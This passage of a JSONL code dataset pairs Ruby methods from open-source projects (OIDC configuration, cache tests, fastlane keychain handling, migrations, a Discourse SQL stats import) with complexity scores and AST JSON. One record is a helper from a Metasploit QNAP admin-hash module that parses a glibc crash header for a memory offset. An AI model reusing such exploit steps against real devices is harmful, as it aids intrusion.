options[\"limit_self_registration\"],\n        \"use_graph_api\" => options[\"use_graph_api\"],\n        \"acr_values\" => options[\"acr_values\"],\n        \"scope\" => extract_scope(options[\"scope\"]),\n        \"authorization_endpoint\" => extract_url(options, \"authorization_endpoint\"),\n        \"token_endpoint\" => extract_url(options, \"token_endpoint\"),\n        \"userinfo_endpoint\" => extract_url(options, \"userinfo_endpoint\"),\n        \"end_session_endpoint\" => extract_url(options, \"end_session_endpoint\"),\n        \"jwks_uri\" => extract_url(options, \"jwks_uri\"),\n        \"mapping_login\" => options.dig(\"attribute_map\", \"login\"),\n        \"mapping_email\" => options.dig(\"attribute_map\", \"email\"),\n        \"mapping_first_name\" => options.dig(\"attribute_map\", \"first_name\"),\n        \"mapping_last_name\" => options.dig(\"attribute_map\", \"last_name\"),\n        \"mapping_admin\" => options.dig(\"attribute_map\", \"admin\"),\n        \"sync_groups\" => options[\"sync_groups\"] == \"true\",\n        \"groups_claim\" => options[\"groups_claim\"]\n      }.compact\n    end","complexity_score":44.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"deep_stringify_keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"display_name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"display_name\"]}]},\"presence\"]},{\"type\":\"str\",\"children\":[\"OpenID Connect\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"oidc_provider\"]},{\"type\":\"send\",\"children\":[null,\"oidc_provider\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"identifier\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"client_secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"secret\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"issuer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"issuer\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"scheme\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scheme\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"claims\"]},{\"type\":\"send\",\"children\":[null,\"extract_claims\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"claims\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tenant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tenant\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"post_logout_redirect_uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"post_logout_redirect_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"limit_self_registration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"limit_self_registration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"use_graph_api\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"use_graph_api\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"acr_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"acr_values\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"extract_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scope\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization_endpoint\"]},{\"type\":\"send\",\"children\":[null,\"extract_url\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"authorization_endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"token_endpoint\"]},{\"type\":\"send\",\"children\":[null,\"extract_url\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"token_endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"userinfo_endpoint\"]},{\"type\":\"send\",\"children\":[null,\"extract_url\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"userinfo_endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"end_session_endpoint\"]},{\"type\":\"send\",\"children\":[null,\"extract_url\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"end_session_endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"jwks_uri\"]},{\"type\":\"send\",\"children\":[null,\"extract_url\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"jwks_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mapping_login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"dig\",{\"type\":\"str\",\"children\":[\"attribute_map\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mapping_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"dig\",{\"type\":\"str\",\"children\":[\"attribute_map\"]},{\"type\":\"str\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mapping_first_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"dig\",{\"type\":\"str\",\"children\":[\"attribute_map\"]},{\"type\":\"str\",\"children\":[\"first_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mapping_last_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"dig\",{\"type\":\"str\",\"children\":[\"attribute_map\"]},{\"type\":\"str\",\"children\":[\"last_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mapping_admin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"dig\",{\"type\":\"str\",\"children\":[\"attribute_map\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sync_groups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sync_groups\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"groups_claim\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"groups_claim\"]}]}]}]},\"compact\"]}]}]}","id":"0723baa7-b206-48d8-838b-f490d77f895f"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/index_cache_test.rb","start_line":346,"raw_source":"def test_deep_association_with_deferred_expiration_expires_parent_once\n    AssociatedRecord.send(:has_many, :deeply_associated_records, dependent: :destroy)\n    Item.send(:cache_has_many, :associated_records, embed: true)\n\n    @parent = Item.create!(title: \"bob\")\n    @records = @parent.associated_records.create!([{ name: \"foo\" }, { name: \"bar\" }, { name: \"baz\" }])\n    @records.each do\n      _1.deeply_associated_records.create!([\n        { name: \"a\", item: @parent },\n        { name: \"b\", item: @parent },\n        { name: \"c\", item: @parent },\n      ])\n    end\n\n    @memcached_spy_write_multi = Spy.on(backend, :write_multi).and_call_through\n\n    expected_item_expiration_count = Array(@parent).count\n    expected_associated_record_expiration_count = @records.count\n    expected_deeply_associated_record_expiration_count = @records.flat_map(&:deeply_associated_records).count\n\n    IdentityCache.with_deferred_expiration do\n      @parent.transaction do\n        @parent.associated_records.destroy_all\n      end\n    end\n\n    all_keys = @memcached_spy_write_multi.calls.flat_map { |call| call.args.first.keys }\n    item_expiration_count = all_keys.count { |key| key.include?(\":blob:Item:\") }\n    associated_record_keys = all_keys.count { |key| key.include?(\":blob:AssociatedRecord:\") }\n    deeply_associated_record_keys = all_keys.count { |key| key.include?(\":blob:DeeplyAssociatedRecord:\") }\n\n    assert_equal(1, @memcached_spy_write_multi.calls.count)\n    assert_equal(expected_item_expiration_count, item_expiration_count)\n    assert_equal(expected_associated_record_expiration_count, associated_record_keys)\n    assert_equal(expected_deeply_associated_record_expiration_count, deeply_associated_record_keys)\n  end","complexity_score":65.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deep_association_with_deferred_expiration_expires_parent_once\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"send\",{\"type\":\"sym\",\"children\":[\"has_many\"]},{\"type\":\"sym\",\"children\":[\"deeply_associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependent\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cache_has_many\"]},{\"type\":\"sym\",\"children\":[\"associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"bob\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"associated_records\"]},\"create!\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"baz\"]}]}]}]}]}]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@records\"]},\"each\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"deeply_associated_records\"]},\"create!\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item\"]},{\"type\":\"ivar\",\"children\":[\"@parent\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item\"]},{\"type\":\"ivar\",\"children\":[\"@parent\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item\"]},{\"type\":\"ivar\",\"children\":[\"@parent\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@memcached_spy_write_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spy\"]},\"on\",{\"type\":\"send\",\"children\":[null,\"backend\"]},{\"type\":\"sym\",\"children\":[\"write_multi\"]}]},\"and_call_through\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_item_expiration_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"ivar\",\"children\":[\"@parent\"]}]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_associated_record_expiration_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@records\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_deeply_associated_record_expiration_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@records\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"deeply_associated_records\"]}]}]},\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"with_deferred_expiration\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"associated_records\"]},\"destroy_all\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memcached_spy_write_multi\"]},\"calls\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"args\"]},\"first\"]},\"keys\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"item_expiration_count\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_keys\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"include?\",{\"type\":\"str\",\"children\":[\":blob:Item:\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_record_keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_keys\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"include?\",{\"type\":\"str\",\"children\":[\":blob:AssociatedRecord:\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deeply_associated_record_keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_keys\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"include?\",{\"type\":\"str\",\"children\":[\":blob:DeeplyAssociatedRecord:\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memcached_spy_write_multi\"]},\"calls\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_item_expiration_count\"]},{\"type\":\"lvar\",\"children\":[\"item_expiration_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_associated_record_expiration_count\"]},{\"type\":\"lvar\",\"children\":[\"associated_record_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_deeply_associated_record_expiration_count\"]},{\"type\":\"lvar\",\"children\":[\"deeply_associated_record_keys\"]}]}]}]}","id":"21a10d94-8ff7-445f-8ebe-d2ba84ec1abe"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/unlock_keychain.rb","start_line":33,"raw_source":"def self.add_keychain_to_search_list(keychain_path)\n        keychains = Fastlane::Actions.sh(\"security list-keychains -d user\", log: false).shellsplit\n\n        # add the keychain to the keychain list\n        unless keychains.include?(keychain_path)\n          keychains << keychain_path\n\n          Fastlane::Actions.sh(\"security list-keychains -s #{keychains.shelljoin}\", log: false)\n        end\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_keychain_to_search_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keychain_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keychains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"sh\",{\"type\":\"str\",\"children\":[\"security list-keychains -d user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"shellsplit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychains\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"keychain_path\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychains\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"keychain_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"security list-keychains -s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychains\"]},\"shelljoin\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}","id":"273eadb0-33f1-4ac5-8b48-00eb2059a594"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/form_fields/input_form_field.rb","start_line":7,"raw_source":"def expect_value(value)\n      scroll_to_element(field_container)\n      expect(field_container).to have_css(\"input\") { |el| el.value == value }\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scroll_to_element\",{\"type\":\"send\",\"children\":[null,\"field_container\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"field_container\"]}]},\"to\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"input\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"el\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"3900fe44-4ff6-4fa8-96c7-ceb108bc3afe"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200817205048_create_listing_endorsements.rb","start_line":2,"raw_source":"def change\n    create_table :classified_listing_endorsements do |t|\n      t.string :content\n      t.boolean :approved, default: false\n      t.references :classified_listing, foreign_key: true\n      t.references :user, foreign_key: true\n      t.timestamps\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"classified_listing_endorsements\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"classified_listing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"d4981351-c420-45c5-b71c-95e68aab09f2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb","start_line":209,"raw_source":"def find_backtrace(res)\n    res.headers.find do |name, val|\n      if name.include?('glibc detected')\n        @offset = val.split[-2].to_i(16)\n      end\n    end\n  end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"find_backtrace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"glibc detected\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"split\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]},null]}]}]}","id":"ae045c5c-9e48-444f-b1dc-c262f6916565"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250408235240_add_constraints_to_work_item_custom_lifecycle_statuses.rb","start_line":11,"raw_source":"def down\n    remove_check_constraint :work_item_custom_lifecycle_statuses, constraint_name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_check_constraint\",{\"type\":\"sym\",\"children\":[\"work_item_custom_lifecycle_statuses\"]},{\"type\":\"send\",\"children\":[null,\"constraint_name\"]}]}]}","id":"f329e149-05c8-458b-b308-a938653a231c"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":1500,"raw_source":"def import_user_stats\n    puts \"\", \"Importing user stats...\"\n\n    start_time = Time.now\n\n    # TODO Merge with #update_user_stats from import.rake and check if there are privacy concerns\n    # E.g. maybe we need to exclude PMs from the calculation?\n\n    DB.exec(<<~SQL)\n        WITH\n          visible_posts AS (\n                             SELECT p.id, p.post_number, p.user_id, p.created_at, p.like_count, p.topic_id\n                               FROM posts p\n                                    JOIN topics t ON p.topic_id = t.id\n                              WHERE t.archetype = 'regular'\n                                AND t.deleted_at IS NULL\n                                AND t.visible\n                                AND p.deleted_at IS NULL\n                                AND p.post_type = 1 /* regular_post_type */\n                                AND NOT p.hidden\n                           ),\n          topic_stats AS (\n                             SELECT t.user_id, COUNT(t.id) AS topic_count\n                               FROM topics t\n                              WHERE t.archetype = 'regular'\n                                AND t.deleted_at IS NULL\n                                AND t.visible\n                              GROUP BY t.user_id\n                           ),\n          post_stats AS (\n                             SELECT p.user_id, MIN(p.created_at) AS first_post_created_at, SUM(p.like_count) AS likes_received\n                               FROM visible_posts p\n                              GROUP BY p.user_id\n                           ),\n          reply_stats AS (\n                             SELECT p.user_id, COUNT(p.id) AS reply_count\n                               FROM visible_posts p\n                              WHERE p.post_number > 1\n                              GROUP BY p.user_id\n                           ),\n          like_stats AS (\n                             SELECT pa.user_id, COUNT(*) AS likes_given\n                               FROM post_actions pa\n                                    JOIN visible_posts p ON pa.post_id = p.id\n                              WHERE pa.post_action_type_id = 2 /* like */\n                                AND pa.deleted_at IS NULL\n                              GROUP BY pa.user_id\n                           ),\n          badge_stats AS (\n                             SELECT ub.user_id, COUNT(DISTINCT ub.badge_id) AS distinct_badge_count\n                               FROM user_badges ub\n                                    JOIN badges b ON ub.badge_id = b.id AND b.enabled\n                              GROUP BY ub.user_id\n                           ),\n          post_action_stats AS ( -- posts created by user and likes given by user\n                             SELECT p.user_id, p.id AS post_id, p.created_at::DATE, p.topic_id, p.post_number\n                               FROM visible_posts p\n                              UNION\n                             SELECT pa.user_id, pa.post_id, pa.created_at::DATE, p.topic_id, p.post_number\n                               FROM post_actions pa\n                                    JOIN visible_posts p ON pa.post_id = p.id\n                              WHERE pa.post_action_type_id = 2\n                           ),\n          topic_reading_stats AS (\n                             SELECT user_id, COUNT(DISTINCT topic_id) AS topics_entered,\n                                    COUNT(DISTINCT created_at) AS days_visited\n                               FROM post_action_stats\n                              GROUP BY user_id\n                           ),\n          posts_reading_stats AS (\n                             SELECT user_id, SUM(max_post_number) AS posts_read_count\n                               FROM (\n                                      SELECT user_id, MAX(post_number) AS max_post_number\n                                        FROM post_action_stats\n                                       GROUP BY user_id, topic_id\n                                    ) x\n                              GROUP BY user_id\n                           )\n      INSERT\n        INTO user_stats (user_id, new_since, post_count, topic_count, first_post_created_at, likes_received,\n                         likes_given, distinct_badge_count, days_visited, topics_entered, posts_read_count, time_read)\n      SELECT u.id AS user_id, u.created_at AS new_since, COALESCE(rs.reply_count, 0) AS reply_count,\n             COALESCE(ts.topic_count, 0) AS topic_count, ps.first_post_created_at,\n             COALESCE(ps.likes_received, 0) AS likes_received, COALESCE(ls.likes_given, 0) AS likes_given,\n             COALESCE(bs.distinct_badge_count, 0) AS distinct_badge_count, COALESCE(trs.days_visited, 1) AS days_visited,\n             COALESCE(trs.topics_entered, 0) AS topics_entered, COALESCE(prs.posts_read_count, 0) AS posts_read_count,\n             